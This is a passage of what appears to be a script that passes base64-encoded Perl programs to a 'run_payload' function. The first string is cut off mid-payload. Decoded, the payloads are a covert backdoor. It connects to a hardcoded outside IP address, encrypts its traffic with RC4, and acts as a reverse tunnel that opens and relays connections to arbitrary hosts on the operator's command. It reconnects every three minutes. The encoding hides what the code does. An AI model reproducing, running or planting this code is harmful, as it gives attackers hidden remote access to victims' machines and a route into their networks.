3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_14.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTYzJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQk